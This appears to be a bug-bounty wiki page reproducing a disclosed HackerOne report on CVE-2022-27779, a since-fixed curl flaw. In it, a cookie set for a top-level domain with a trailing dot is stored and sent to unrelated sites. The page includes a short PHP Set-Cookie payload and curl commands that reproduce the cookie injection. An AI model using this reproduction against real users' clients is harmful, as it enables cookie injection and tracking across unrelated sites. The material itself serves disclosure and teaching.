Skip to content
Info disclosure Disclosed report Intermediate CVE-2022-27779

CVE-2022-27779: cookie for trailing dot TLD

curl's cookie parser rejects cookies for top-level domains (TLDs) but allows them when the domain has a trailing dot. An attacker can set a cookie for a TLD with a trailing dot, and curl will send that cookie to any site under that TLD when accessed with a trailing dot.

haxatron1 Follow

Originally disclosed on HackerOne

  • Triaged in 22 hours
  • Fixed in 13 days
  • Disclosed after 13 days

Summary:

In CVE-2014-3620 curl prevents cookies from being set for Top Level Domains (TLDs). According to the advisory, curl's "cookie parser has no Public Suffix awareness", but it will "reject TLDs from being allowed". However, a cookie can still be set for a TLD + trailing dot.

A trailing dot after a TLD is considered legal and curl will send the http://example.com. to http://example.com

Steps To Reproduce:

  1. Create an Apache file like the following
<?php

header("Set-Cookie: a=b; Domain=.me.");
  1. Now save the cookie to curl and see the cookie is set for .me.
curl -c cookies.txt http://localtest.me./index.php

cookies.txt:

# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.me.    TRUE    /       FALSE   0       a       b
  1. Requests sent via curl to the domain with TLD + '.' will now contain the particular cookie.
curl -b cookies.txt http://domain.me./index.php
GET / HTTP/1.1
Host: domain.me.
User-Agent: curl/7.83.0
Accept: */*
Cookie: a=b

Impact

Cookies can be set by arbitrary sites for TLD + ".", and if a trailing dot is used for an unrelated site, curl will send the cookie to the unrelated site.

The original report as published on HackerOne, by haxatron1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the cookie parser's TLD check does not account for a trailing dot, so a domain like '.me.' is not recognised as a TLD and is accepted.

Impact

Cookies can be set by arbitrary sites for a TLD with a trailing dot, and curl will send such a cookie to an unrelated site if that site is accessed with a trailing dot.

What the attacker needed

Victim uses curl; victim requests a site that sets the cookie; victim later requests another site with trailing dot

How it was found

  1. Create a server-side script that sends a Set-Cookie header with a Domain attribute set to a TLD followed by a dot.
  2. Use curl to request that script and save cookies to a file; observe the cookie is stored for the TLD with trailing dot.
  3. Use curl with the saved cookie file to request a different domain under the same TLD, also with a trailing dot; observe the cookie is sent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A cookie is a small piece of data a website asks your browser to store and send back later. Normally, a site should only be able to set cookies for its own domain, not for entire top-level domains like .com or .me. This report shows that curl, a command-line tool for transferring data, mistakenly allows a site to set a cookie for a top-level domain if the domain name ends with a dot, and then sends that cookie to other sites under that top-level domain.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by haxatron1

View all

30 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.